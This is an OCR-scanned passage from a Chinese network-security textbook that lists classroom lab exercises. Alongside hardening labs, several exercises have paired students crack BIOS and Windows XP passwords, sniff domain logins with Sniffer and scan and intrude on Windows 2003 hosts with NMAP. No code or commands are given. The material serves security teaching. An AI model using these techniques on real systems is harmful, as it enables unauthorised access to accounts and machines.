现 有 一 个 文本 文件 jiam. txt 和 密 钥 COOKIEMONSTER ,文本 文件 jiam. txt 的 内 
容 为 : 

fourscore 


则 执行 jiam. exe, 输 入 文本 文件 jiam. txt 和 密 钥 COOKIEMONSTER ,得 到 1 个 密 文 
文本 文件 , 设 为 miwen. txt, 其 内 容 应 为 : 


hbhazgzv 


然后 ,执行 jiem. exe, 输 入 文本 文件 miwen. txt 和 密 钥 COOKIEMONSTER ,得 到 1 个 
密 文 文本 文件 , 设 为 mwen. txt, 其 内 容 应 为 : 


fourscore 


实 训 2 BIOS 密码 和 计算 机 开机 密码 的 配置 


1. 实 训 目 的 

要 求学 生 掌 握 CMOS 密码 中 BIOS 保护 密码 和 计算 机 开机 密码 的 作用 及 配置 操作 , 同 
时 了 解 相关 密码 的 漏洞 和 破解 方法 , 找 出 这 些 安全 问题 的 对 应 措施 。 

2. 实 训 要 求 

(1) 掌握 计算 机 单机 系统 的 安全 机 制 问题 。 

(2) 掌握 CMOS 密码 中 BIOS 保护 密码 和 计算 机 开机 密码 的 作用 及 配置 操作 。 

(3) 掌握 的 CMOS 密码 的 安全 漏洞 问题 .破解 方法 和 安全 防范 措施 。 

3. 实 训 环 境 

要 求 每 两 位 同学 一 组 ,每 组 提供 两 台 计算 机 。 

4. 实 训 内 容 

(1) 设置 BIOS 密码 和 计算 机 开机 密码 的 操作 方法 。 

(2) 下 载 相 关 密 码 的 破解 工具 或 破解 CMOS 密码 的 相关 工具 。 

(3) 至 少 要 用 两 种 以 上 的 破解 方法 破解 BIOS 密码 和 计算 机 开机 密码 。 

(4) 针对 有 关 安 全 问题 提出 解决 措施 。 

5. 实 训 过 程 及 要 求 

(1) 首先 学 习 CMOS 的 设置 和 密码 设置 。 

(2) 每 两 位 同学 一 组 ,其 中 一 位 同学 首先 完成 设置 BIOS 密码 和 计算 机 开机 密码 任务 。 
然后 ,在 不 告诉 同 组 人 的 情况 下 ,要 求 另 一 位 同学 至 少 要 用 两 种 以 上 (如 DEBUG 和 破解 工 
具 等 ) 的 破解 方法 破解 BIOS 密码 ,成 功 后 两 位 同学 交替 任务 。 

(3) 实 训 前 ,学 生 应 准备 计算 机 CMOS 安全 的 配置 和 实施 方案 ;在 实 训 过 程 中 ,应 注意 
记录 实 训 结果 ; 实 训 后 ,应 写 出 实 训 报告 并 针对 有 关 计 算 机 BIOS 的 安全 问题 提出 解决 
措施 。 
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实 训 3 Windows XP 的 相关 密码 设置 


1. 实 训 目的 

要 求学 生 掌握 Windows XP 的 相关 密码 设置 .漏洞 和 破解 方法 ,同时 找 出 这 些 安全 问题 
的 对 应 措施 。 

2. 实 训 要 求 


(1) 掌握 Windows XP 系统 和 采用 Windows XP 系统 的 对 等 网 的 安全 机 制 问题 。 

(2) 掌握 Windows XP 网 络 中 的 安全 漏洞 问题 。 

(3) 掌握 Windows XP 网 络 中 的 安全 防范 措施 问题 。 

3. 实 训 环境 

要 求 每 两 位 同学 一 组 ,每 组 提供 两 台 计 算 机 ,同时 连 成 Windows XP 对 等 网 , 且 采 用 
TCP/IP 协议 方式 联网 。 

4. 实 训 内 容 

(1) 连接 Windows 对 等 网 。 

(2) 设置 Windows XP 的 登录 密码 .屏幕 保护 密码 .远程 管理 密码 和 Windows XP 共享 
权限 .共享 密码 。 

(3) 学 习 修 改 注 册 表 提升 Windows XP 系统 的 安全 性 。 

(4) 至 少 要 用 两 种 以 上 的 破解 方法 (本 地 方法 和 远程 方法 ) 破 解 Windows XP 的 登录 密 
码 .屏幕 保护 密码 .远程 管理 密码 和 Windows XP 共享 权限 .共享 密码 。 

(5) 针对 有 关 安 全 问题 提出 解决 措施 。 

5. 实 训 过 程 及 要 求 

(1) 每 两 位 同学 一 组 ,首先 学 习 CMOS 的 设置 ,其 次 其 中 一 位 同学 的 任务 为 设置 BIOS 
开机 密码 和 CMOS, 在 不 告诉 同 组 人 的 情况 下 ,要 求 另 一 位 同学 至 少 要 用 两 种 以 上 (如 
DEBUG 和 破解 工具 等 ) 的 破解 方法 破解 BIOS 密码 ,成功 后 两 位 同学 交替 任务 。 

(2) 在 单机 方式 学 习 设 置 Windows XP 的 登录 密码 .屏幕 保护 密码 .远程 管理 密码 和 
Windows XP 共享 权限 .共享 密码 。 同 时 学 习 使 用 regedit. exe 程序 修改 注册 表 (注意 修 改 
前 备份 注册 表 ) 。 

(3) 在 网 络 模式 下 ,两 位 同学 一 组 ,其 中 一 位 同学 扮演 管理 员 , 另 一 位 同学 扮演 黑客 , 进 
行 相 互 攻击 和 防范 实验 。 在 实 训 过 程 中 ,至 少 要 用 两 种 以 上 的 破解 方法 (本 地 方法 和 远程 方 
法 ) 破 解 Windows XP 的 登录 密码 .屏幕 保护 密码 .远程 管理 密码 和 Windows XP 共享 权限 、 
共享 密码 。 

(4) 本 实 训 预计 时 间 4 小 时 ,最 好 集中 安排 。 

(5) 实 训 前 ,学 生 应 准备 计算 机 BIOS 和 Windows XP 的 安全 配置 和 实施 方案 ,在 实 训 
过 程 中 ,应 注意 记录 实 训 结果 ; 实 训 后 ,应 写 出 实 训 报告 并 针对 有 关 计 算 机 BIOS 和 
Windows XP 的 安全 问题 提出 解决 措施 。 


实 训 4 配置 卡巴 斯 基 防 火 墙 


从 Internet 网 上 下 载 一 套 卡巴 斯 基 防 火 墙 ,学 习 防 火 墙 的 配置 策略 和 配置 方法 。 
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1. 实 训 目 的 

(1) 掌握 卡巴 斯 基 防 火 墙 的 配置 方法 。 

(2) 掌握 防火 墙 的 配置 策略 与 实现 。 

2. 实 训 要 求 

(1) 下 载 和 安装 卡巴 斯 基 。 

(2) 掌握 卡巴 斯 基 防 火 墙 的 配置 步骤 。 

(3) 掌握 防火 墙 的 配置 策略 与 实现 。 

3. 实 训 环境 

要 求实 验 分 组 进行 ,两 人 一 组 ,需要 两 台 计 算 机 ,在 服务 器 端 安装 Windows 2003 或 
Windows XP 和 卡巴 斯 基 软 件 , 开 放 局 域 网 共享 服务 ,在 客户 端 安装 Windows XP。 

4. 实 训 内 容 

(1) 在 无 防火 墙 的 情况 下 ,使 用 Ping 命令 和 通过 资源 使 用 服务 器 的 资源 。 

(2) 安装 卡巴 斯 基 防 火 墙 软件 。 

(3) 在 有 防火 墙 的 情况 下 ,使 用 Ping 命令 和 通过 共享 资源 使 用 服务 器 的 资源 。 

(4) 比较 (1) 和 (3) 两 种 情况 的 结果 ,并 查看 防火 墙 的 日 志 。 

(5) 学 习 卡 巴 斯 基 防 火 墙 的 配置 方法 。 

(6) 做 此 实 训 前 ,请 写 好 方案 。 

(7) 实 训 过 程 中 ,注意 记录 实 训 步骤 。 

(8) 写 出 实 训 报告 ,同时 针对 网 络 监听 提出 防护 措施 


实 训 5 Windows 2003/2008 的 权限 配置 与 安全 审核 


1. 实 训 目的 

学 习 使 用 域 用 户 管理 器 为 用 户 建立 和 修改 用 户 属性 ,同时 可 以 设置 其 他 账号 安全 属性 。 
学 习 利用 存 取 控制 列表 来 控制 用 户 对 对 象 的 访问 权限 。 

2. 实 训 要 求 

(1) 要 求 掌 握 Windows 2003/2008 的 注册 安全 设置 。 

(2) 要 求 掌 握 Windows 2003/2008 的 权限 设置 。 

3. 实 训 环境 

要 求学 生 每 人 一 台 计 算 机 ,安装 好 Windows 2003/2008 系统 。 

4. 实 训 内 容 

(1) 注册 安全 性 。 

让 学 生 在 Windows 2003/2008 上 使 用 域 用 户 管理 器 为 用 户 建立 和 修改 用 户 及 属性 , 同 
时 设置 其 他 账号 安全 属性 ,具体 包括 : 设置 工作 站 登录 限制 .设置 时 间 登 录 限 制 . 设 置 账号 
失效 日 期 和 设置 用 户 登 录 失 败 次 数 等 。 

(2) 存 取 控制 。 

使 用 Windows 2003/2008 上 的 相关 工具 和 配置 方法 来 练习 有 关 资 源 的 权限 ,设置 方法 
参照 第 5 章 的 学 习 内 容 。 

(3) 做 此 实 训 前 ,请 写 好 方案 。 

(4) 实 训 过 程 中 ,注意 记录 实 训 步骤 。 
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(5) 写 出 实 训 报告 。 
实 训 6 ”Windows 2003 的 高 级 配置 * 


1. 实 训 目 的 

要 求学 生 掌 握 Windows 2003 的 高 级 配置 ,提高 Windows 2003 的 安全 性 。 

2. 实 训 要 求 

(1) 掌握 Windows 2003 中 Active Directory 的 安装 方法 。 

(2) 掌握 Windows 2003 全 局 组 和 用 户 的 规划 .权限 分 配 及 域 安全 策略 的 设置 方法 。 

(3) 掌握 Windows 2003 中 域 账户 管理 及 域 共享 资源 配置 的 方法 。 

(4) 掌握 DHCP 服务 器 的 配置 方法 。 

3. 实 训 环境 

每 人 一 台 计 算 机 ,每 台 计 算 机 安装 的 操作 系统 是 Windows Server 2003。2 一 3 台 计 算 
机 组 成 一 个 合作 小 组 ,可 以 通过 网 上 邻居 互相 访问 。 以 两 台 计 算 机 为 例 构建 不 同 的 域 结构 。 

4. 实 训 内 容 

(1) 配置 活动 目录 。 

(2) 管理 域 账户 及 资源 。 

(3) 配置 DHCP 服务 器 。 

(4) DNS 的 配置 。 

(5) 做 此 实 训 前 ,请 写 好 方案 。 

(6) 实 训 过 程 中 ,注意 记录 实 训 步骤 。 

(7) 写 出 实 训 报告 。 


实 训 7 网 络 监听 获取 Windows XP 普通 用 户 密码 * 


1. 实 训 目 的 

掌握 网 络 监 听 的 工作 机 制 和 作用 ,学 习 常用 的 网 络 监听 工具 如 Sniffer 程序 等 黑客 监听 
程序 的 使 用 。 

2. 实 训 要 求 

(1) 下 载 黑客 监听 程序 如 Sniffer 程序 。 

(2) 学 习 使 用 黑客 扫描 程序 如 Sniffer 程序 。 

(3) 了 解 Windows XP 客户 端 登录 到 域 服务 器 的 密码 认证 机 制 和 FTP 的 登录 机 制 。 

(4) 掌握 黑客 监听 程序 的 工作 机 制 。 

3. 实 训 环境 

要 求 有 一 个 以 域 方 式 建立 的 Windows 2003 局 域 网 络 ,要 求 有 一 台 主 域 服 务 器 和 若干 
Windows XP 工作 站 。 

每 两 个 同学 一 组 ,每 人 各 一 台 计 算 机 。 

4. 实 训 内 容 

(1) 在 实 训 室 以 域 方 式 建立 一 个 Windows 2003 局 域 网络 , 要 求 有 一 台 主 域 服务 器 和 若 
于 Windows XP 工作 站 ,同时 所 有 计算 机 用 集线器 (Hub) 连 成 网 络 。 

(2) 在 服务 器 上 建 一 些 普通 用 户 账 号 ,并 设 有 密码 ,在 Windows XP 工作 站 上 以 域 用 户 
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方式 登录 到 Windows NT 中 。 

(3) 准备 一 个 网 络 监听 软件 如 Sniffer 程序 ,可 从 Internet 上 下 载 。 

(4) 将 实验 分 组 ,两 人 一 组 ,需要 两 台 Windows XP 工作 站 。 其 中 一 位 同学 在 Windows 
XP 工作 站 中 以 域 用 户 登 录 Windows 2003 服务 器 , 另 一 位 同学 在 Windows XP 工作 站 中 执 
行 监听 程序 ,以 监听 另外 一 位 同学 的 域 用 户 密码 。 

(5) 做 此 实 训 前 ,应 下 载 一 个 黑客 监听 程序 如 Sniffer 程序 ,并 写 好 方案 。 

(6) 实 训 过 程 中 ,注意 记录 实 训 步骤 。 

(7) 写 出 实 训 报告 ,同时 针对 网 络 监听 提出 防护 措施 。 


实 训 8 远程 攻击 Windows 2003 系统 ” 


1. 实 训 目的 

掌握 端口 扫描 程序 的 工作 机 制 和 作用 ,学 习 用 常用 的 黑客 扫描 程序 如 NMAP 程序 \ 流 
光 系 列 扫描 程序 扫描 主机 的 IP 和 开放 端口 ,掌握 Ping 命令 、Tracer 命令 、Host 命令 和 
NET 命令 收集 目标 主机 的 相关 信息 。 

2. 实 训 要 求 

(1) 下 载 黑客 扫描 程序 如 NMAP 程序 流光 系列 扫描 程序 。 

(2) 学 习 使 用 黑客 扫描 程序 如 NMAP 程序 ,流光 系 列 扫描 程序 。 

(3) 学 习 使 用 Windows 2003 的 Ping 命令 、Tracer 命令 、Host 命令 和 NET 命令 收集 目 
标 主机 的 相关 信息 。 

3. 实 训 环境 

实验 分 组 ,两 人 一 组 ,需要 两 台 计 算 机 ,服务 器 安装 Windows 2003, 开 放 远 程 终端 服务 
端口 服务 ,在 客户 端 Windows XP 和 MS-DOS 环境 下 用 黑客 扫描 程序 如 NMAP 程序 `. 流 光 
系列 扫描 程序 扫描 Windows 2003 的 IP 和 远程 终端 服务 端口 是 否 开放 (注意 : 实验 时 ,两 台 
机 器 的 IP 地 址 应 在 同一 个 网 络 中 ) 。 

4. 实 训 内 容 

(1) 学 习 在 客户 端 Windows XP 和 MS-DOS 环境 使 用 Ping 命令 、Tracer 命令 、Host 命 
令 和 NET 命令 收集 目标 主机 的 相关 信息 。 

(2) 同时 利用 第 6 章 讲 的 方法 入 侵 Windows 2003 系统 。 

(3) 做 此 实 训 前 ,请 写 好 方案 。 

(4) 实 训 过 程 中 ,注意 记录 实 训 步骤 。 

(5) 写 出 实 训 报告 ,同时 提出 针对 Windows 2003 的 远程 攻击 提出 防护 措施 。 


实 训 9 Windows 2003 的 备份 与 恢复 操作 


1. 实 训 目的 

(1) 学 习 当 Windows 2003 系统 发 生 故 障 时 ,能 够 及 时 地 发 现 故 障 并 排除 。 

(2) 用 系统 的 事件 查看 器 、 网 络 监视 器 、 系 统 信 息 实 时 监视 系统 ,实现 及 时 发 现 问 题解 
决 问题 ,保证 系统 的 安全 稳定 。 

(3) 创建 Windows 2003 系统 的 备份 文件 和 创建 自动 系统 恢复 (ASR) 集 。 

(4) 从 备份 还 原文 件 。 
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(5) 使 用 ASR 集 恢复 计算 机 。 

2. 实 训 要 求 

(1) 掌握 Windows 2003 的 事件 查看 器 、 网 络 监视 器 和 任务 管理 器 的 操作 及 使 用 。 

(2) 掌握 Windows 2003 的 紧急 修复 盘 的 备份 和 恢复 操作 。 

3. 实 训 环境 

每 人 一 台 计 算 机 ,安装 好 Windows 2003 。 

4. 实 训 内 容 

(1) 在 Windows 2003 学 习 使 用 事件 查看 器 、 网 络 监视 器 和 任务 管理 器 的 操作 ,学 习 紧 
急 制作 备份 文件 和 自动 系统 恢复 (ASR) 集 , 学 习 从 备份 还 原文 件 。 

(2) 实验 步骤 参见 5.7 节 。 

(3) 做 此 实 训 前 ,请 写 好 方案 。 

(4) 实 训 过 程 中 ,注意 记录 实 训 步骤 。 

(5) 写 出 实 训 报告 。 


实 训 10 杀毒 软件 的 使 用 


1. 实 训 目的 及 要 求 

(1) 了 解 杀毒 软件 的 工作 原理 。 

(2) 学 习 使 用 杀毒 软件 清除 病毒 。 

2. 实 训 环 境 

要 求学 生 每 人 一 台 计 算 机 ,安装 Windows XP 或 Windows 2003/2008。 

3. 实 训 内 容 

使 用 RAV 瑞星 或 江 民 杀毒 软件 的 有 关 网 络 杀毒 功能 检测 Windows XP/2003/2008 网 
络 系统 ,将 检测 结果 和 使 用 的 步骤 写成 实 训 报告 。 


实 训 11 下 浏览 器 的 安全 配置 


1. 实 训 目 的 

了 解 有 关 Cookie,Java,ActiveX 等 技术 的 安全 问题 和 IE 浏览 器 的 漏洞 带 来 的 安全 问 
题 ,以 及 针对 这 些 问题 应 采取 的 防范 措施 。 

2. 实 训 要 求 

(1) 掌握 IE 浏览 器 的 有 关 Cookie,Java,ActiveX 等 技术 相关 安全 配置 。 

(2) 了 解 下 浏览 器 的 安全 漏洞 。 


Ve/ Me 


3. 实 训 环境 

要 求学 生 每 人 一 台 计 算 机 ,安装 Windows 2003 网 络 系统 并 带 有 IE 浏览 器 。 

4. 实 训 内 容 

(1) 在 I 浏览 器 中 学 习 配 置 各 种 安全 等 级 ,使 用 浏览 器 配置 Cookie,Java,ActiveX 等 
技术 相关 安全 选项 。 


(2) 实验 步骤 参见 8. 2 节 。 

(3) 做 此 实 训 前 ,请 写 好 方案 。 

(4) 实 训 过 程 中 ,注意 记录 实 训 步 又 。 
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(5) 写 出 实 训 报告 。 
实 训 12 ”Outlook Express 的 安全 配置 


1. 实 训 目的 

了 解 有 关 电 子 邮 件 的 安全 问题 和 Outlook Express 安全 配置 .漏洞 问题 ,以 及 针对 这 些 
问题 应 采取 的 防范 措施 。 

2. 实 训 要 求 

(1) 掌握 Outlook Express 相关 安全 配置 。 

(2) 使 用 Outlook Express 发 送 加 密 电 子 邮件 。 

3. 实 训 环境 

每 人 一 台 计 算 机 ,安装 好 Windows 2003 并 安装 Outlook Express 组 件 。 

4. 实 训 内 容 

(1) 在 Outlook Express 中 学 习 使 用 密码 技术 发 送 电子 邮件 和 配置 相关 安全 选项 。 

(2) 实验 步骤 参见 8. 3. 2 节 。 

(3) 做 此 实 训 前 ,请 写 好 方案 。 

(4) 实 训 过 程 中 ,注意 记录 实 训 步 又 。 

(5) 写 出 实 训 报告 。 


实 训 13 IIS 的 安全 配置 


1. 实 训 目的 

了 解 有 关 WWW 的 安全 问题 和 IIS 安全 配置 .漏洞 问题 ,以 及 针对 这 些 问题 应 采取 的 
防范 措施 。 

2. 实 训 要 求 

掌握 IIS 相关 安全 配置 。 

3. 实 训 环境 

每 人 一 台 计 算 机 ,安装 Windows 2003 并 安装 IIS 组 件 。 

4. 实 训 内 容 

(1) 学 习 配 置 IIS 相关 安全 选项 。 

(2) 实验 步骤 参见 8.4 节 。 

(3) 做 此 实 训 前 ,请 写 好 方案 。 

(4) 实 训 过 程 中 ,注意 记录 实 训 步骤 。 

(5) 写 出 实 训 报 告 。 
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